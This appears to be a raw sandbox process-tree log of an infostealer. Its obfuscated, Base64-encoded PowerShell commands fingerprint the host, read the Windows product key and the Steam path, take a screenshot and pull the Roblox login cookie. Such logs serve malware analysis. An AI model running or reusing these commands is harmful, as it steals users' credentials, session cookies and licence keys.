                                                                                          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc CgAkAE8AdQB0AHAAdQB0ACAAPQAgAEAAewB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAEcAUABVACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwAQwBsAGEAcwBzAFwAewA0AGQAMwA2AGUAOQA2ADgALQBlADMAMgA1AC0AMQAxAGMAZQAtAGIAZgBjADEALQAwADgAMAAwADIAYgBlADEAMAAzADEAOAB9AFwAMAAwADAAMAAnACAALQBOAGEAbQBlACAARAByAGkAdgBlAHIARABlAHMAYwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4ARAByAGkAdgBlAHIARABlAHMAYwAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAE8AdQB0AHAAdQB0AC4ARwBQAFUAKQAgAHsAIAB0AHIAeQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARwBQAFUAIAA9ACAAKABHAGUAdAAtAEMAaQBtAEkAbgBzAHQAYQBuAGMAZQAgAFcAaQBuADMAMgBfAFYAaQBkAGUAbwBDAG8AbgB0AHIAbwBsAGwAZQByACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEAKQAuAE4AYQBtAGUAIAB9ACAAYwBhAHQAYwBoACAAewB9ACAAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABkACAAPQAgAEcAZQB0AC0AUABTAEQAcgBpAHYAZQAgAEMAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgACQATwB1AHQAcAB1AHQALgBEAGkAcwBrAEYAcgBlAGUAIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAZAAuAEYAcgBlAGUAIAAvACAAMQBHAEIALAAgADIAKQAKACAAIAAgACAAJABPAHUAdABwAHUAdAAuAEQAaQBzAGsAVABvAHQAYQBsACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAoACQAZAAuAFUAcwBlAGQAIAArACAAJABkAC4ARgByAGUAZQApACAALwAgADEARwBCACwAIAAyACkACgB9ACAAYwBhAHQAYwBoACAAewB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAEgAVwBJAEQAIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsATABNADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAEMAbwBuAHQAcgBvAGwAXABJAEQAQwBvAG4AZgBpAGcARABCAFwASABhAHIAZAB3AGEAcgBlACAAUAByAG8AZgBpAGwAZQBzAFwAMAAwADAAMQAnACAALQBOAGEAbQBlACAASAB3AFAAcgBvAGYAaQBsAGUARwB1AGkAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4ASAB3AFAAcgBvAGYAaQBsAGUARwB1AGkAZAAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAE8AdQB0AHAAdQB0AC4ASABXAEkARAApACAAewAgAHQAcgB5ACAAewAgACQATwB1AHQAcAB1AHQALgBIAFcASQBEACAAPQAgACgARwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBDAG8AbQBwAHUAdABlAHIAUwB5AHMAdABlAG0AUAByAG8AZAB1AGMAdAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AVQBVAEkARAAgAH0AIABjAGEAdABjAGgAIAB7AH0AIAB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAFUAQQBDACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwBcAFMAeQBzAHQAZQBtACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBFAG4AYQBiAGwAZQBMAFUAQQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB0AHIAeQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARgBpAHIAZQB3AGEAbABsACAAPQAgACgARwBlAHQALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUAByAG8AZgBpAGwAZQAgAC0AUAByAG8AZgBpAGwAZQAgAEQAbwBtAGEAaQBuACwAUAB1AGIAbABpAGMALABQAHIAaQB2AGEAdABlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAEUAbgBhAGIAbABlAGQAIAAtAGUAcQAgACcAVAByAHUAZQAnACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBFAHgAcABhAG4AZABQAHIAbwBwAGUAcgB0AHkAIABOAGEAbQBlACkAIAAtAGoAbwBpAG4AIAAnACwAIAAnACAAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFMAbwBmAHQAdwBhAHIAZQBQAHIAbwB0AGUAYwB0AGkAbwBuAFAAbABhAHQAZgBvAHIAbQAnACAALQBOAGEAbQBlACAAQgBhAGMAawB1AHAAUAByAG8AZAB1AGMAdABLAGUAeQBEAGUAZgBhAHUAbAB0ACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBCAGEAYwBrAHUAcABQAHIAbwBkAHUAYwB0AEsAZQB5AEQAZQBmAGEAdQBsAHQACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAawBlAHkAKQAgAHsAIAAkAGsAZQB5ACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwARABlAGYAYQB1AGwAdABQAHIAbwBkAHUAYwB0AEsAZQB5ACcAIAAtAE4AYQBtAGUAIABQAHIAbwBkAHUAYwB0AEkAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUAByAG8AZAB1AGMAdABJAGQAIAB9AAoAIAAgACAAIAAkAE8AdQB0AHAAdQB0AC4AVwBpAG4ASwBlAHkAIAA9ACAAJABrAGUAeQAKAH0AIABjAGEAdABjAGgAIAB7AH0ACgAkAE8AdQB0AHAAdQB0ACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgAgAC0AQwBvAG0AcAByAGUAcwBzAAoA"
                                                                                          2⤵
                                                                                            PID:6944
                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                              powershell.exe -NoP -NonI -Exec Bypass -Enc CgAkAE8AdQB0AHAAdQB0ACAAPQAgAEAAewB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAEcAUABVACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwAQwBsAGEAcwBzAFwAewA0AGQAMwA2AGUAOQA2ADgALQBlADMAMgA1AC0AMQAxAGMAZQAtAGIAZgBjADEALQAwADgAMAAwADIAYgBlADEAMAAzADEAOAB9AFwAMAAwADAAMAAnACAALQBOAGEAbQBlACAARAByAGkAdgBlAHIARABlAHMAYwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4ARAByAGkAdgBlAHIARABlAHMAYwAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAE8AdQB0AHAAdQB0AC4ARwBQAFUAKQAgAHsAIAB0AHIAeQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARwBQAFUAIAA9ACAAKABHAGUAdAAtAEMAaQBtAEkAbgBzAHQAYQBuAGMAZQAgAFcAaQBuADMAMgBfAFYAaQBkAGUAbwBDAG8AbgB0AHIAbwBsAGwAZQByACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEAKQAuAE4AYQBtAGUAIAB9ACAAYwBhAHQAYwBoACAAewB9ACAAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABkACAAPQAgAEcAZQB0AC0AUABTAEQAcgBpAHYAZQAgAEMAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgACQATwB1AHQAcAB1AHQALgBEAGkAcwBrAEYAcgBlAGUAIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAZAAuAEYAcgBlAGUAIAAvACAAMQBHAEIALAAgADIAKQAKACAAIAAgACAAJABPAHUAdABwAHUAdAAuAEQAaQBzAGsAVABvAHQAYQBsACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAoACQAZAAuAFUAcwBlAGQAIAArACAAJABkAC4ARgByAGUAZQApACAALwAgADEARwBCACwAIAAyACkACgB9ACAAYwBhAHQAYwBoACAAewB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAEgAVwBJAEQAIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsATABNADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAEMAbwBuAHQAcgBvAGwAXABJAEQAQwBvAG4AZgBpAGcARABCAFwASABhAHIAZAB3AGEAcgBlACAAUAByAG8AZgBpAGwAZQBzAFwAMAAwADAAMQAnACAALQBOAGEAbQBlACAASAB3AFAAcgBvAGYAaQBsAGUARwB1AGkAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4ASAB3AFAAcgBvAGYAaQBsAGUARwB1AGkAZAAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAE8AdQB0AHAAdQB0AC4ASABXAEkARAApACAAewAgAHQAcgB5ACAAewAgACQATwB1AHQAcAB1AHQALgBIAFcASQBEACAAPQAgACgARwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBDAG8AbQBwAHUAdABlAHIAUwB5AHMAdABlAG0AUAByAG8AZAB1AGMAdAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AVQBVAEkARAAgAH0AIABjAGEAdABjAGgAIAB7AH0AIAB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAFUAQQBDACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwBcAFMAeQBzAHQAZQBtACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBFAG4AYQBiAGwAZQBMAFUAQQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB0AHIAeQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARgBpAHIAZQB3AGEAbABsACAAPQAgACgARwBlAHQALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUAByAG8AZgBpAGwAZQAgAC0AUAByAG8AZgBpAGwAZQAgAEQAbwBtAGEAaQBuACwAUAB1AGIAbABpAGMALABQAHIAaQB2AGEAdABlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAEUAbgBhAGIAbABlAGQAIAAtAGUAcQAgACcAVAByAHUAZQAnACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBFAHgAcABhAG4AZABQAHIAbwBwAGUAcgB0AHkAIABOAGEAbQBlACkAIAAtAGoAbwBpAG4AIAAnACwAIAAnACAAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFMAbwBmAHQAdwBhAHIAZQBQAHIAbwB0AGUAYwB0AGkAbwBuAFAAbABhAHQAZgBvAHIAbQAnACAALQBOAGEAbQBlACAAQgBhAGMAawB1AHAAUAByAG8AZAB1AGMAdABLAGUAeQBEAGUAZgBhAHUAbAB0ACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBCAGEAYwBrAHUAcABQAHIAbwBkAHUAYwB0AEsAZQB5AEQAZQBmAGEAdQBsAHQACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAawBlAHkAKQAgAHsAIAAkAGsAZQB5ACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwARABlAGYAYQB1AGwAdABQAHIAbwBkAHUAYwB0AEsAZQB5ACcAIAAtAE4AYQBtAGUAIABQAHIAbwBkAHUAYwB0AEkAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUAByAG8AZAB1AGMAdABJAGQAIAB9AAoAIAAgACAAIAAkAE8AdQB0AHAAdQB0AC4AVwBpAG4ASwBlAHkAIAA9ACAAJABrAGUAeQAKAH0AIABjAGEAdABjAGgAIAB7AH0ACgAkAE8AdQB0AHAAdQB0ACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgAgAC0AQwBvAG0AcAByAGUAcwBzAAoA
                                                                                              3⤵
                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                              PID:6996
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA"
                                                                                            2⤵
                                                                                              PID:2836
                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA
                                                                                                3⤵
                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                PID:2428
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA"
                                                                                              2⤵
                                                                                                PID:3080
                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                  powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA
                                                                                                  3⤵
                                                                                                    PID:2616
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7AEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwAkAGIAPQBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACQAYgBtAHAAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIALgBXAGkAZAB0AGgALAAkAGIALgBIAGUAaQBnAGgAdAA7ACQAZwA9AFsAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAG0AcAApADsAJABnAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAC4ATABvAGMAYQB0AGkAbwBuACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBQAG8AaQBuAHQAXQA6ADoARQBtAHAAdAB5ACwAJABiAC4AUwBpAHoAZQApADsAJABiAG0AcAAuAFMAYQB2AGUAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAXwBiAHYAeABjAGYAcQBcAHMAYwByAGUAZQBuAHMAaABvAHQALgBqAHAAZwAnACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBJAG0AYQBnAGkAbgBnAC4ASQBtAGEAZwBlAEYAbwByAG0AYQB0AF0AOgA6AEoAcABlAGcAKQA7ACQAZwAuAEQAaQBzAHAAbwBzAGUAKAApADsAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA=="
                                                                                                  2⤵
                                                                                                    PID:4736
                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                      powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7AEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwAkAGIAPQBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACQAYgBtAHAAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIALgBXAGkAZAB0AGgALAAkAGIALgBIAGUAaQBnAGgAdAA7ACQAZwA9AFsAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAG0AcAApADsAJABnAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAC4ATABvAGMAYQB0AGkAbwBuACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBQAG8AaQBuAHQAXQA6ADoARQBtAHAAdAB5ACwAJABiAC4AUwBpAHoAZQApADsAJABiAG0AcAAuAFMAYQB2AGUAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAXwBiAHYAeABjAGYAcQBcAHMAYwByAGUAZQBuAHMAaABvAHQALgBqAHAAZwAnACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBJAG0AYQBnAGkAbgBnAC4ASQBtAGEAZwBlAEYAbwByAG0AYQB0AF0AOgA6AEoAcABlAGcAKQA7ACQAZwAuAEQAaQBzAHAAbwBzAGUAKAApADsAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA==
                                                                                                      3⤵
                                                                                                        PID:2664
                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABwACAAPQAgACcALgBSAE8AQgBMAE8AJwAgACsAIAAnAFMARQBDAFUAUgBJAFQAWQAnADsAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAFIAbwBiAGwAbwB4AFwAUgBvAGIAbABvAHgAUwB0AHUAZABpAG8AQgByAG8AdwBzAGUAcgBcAHIAbwBiAGwAbwB4AC4AYwBvAG0AJwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AJABwAA=="
                                                                                                      2⤵
                                                                                                        PID:6244
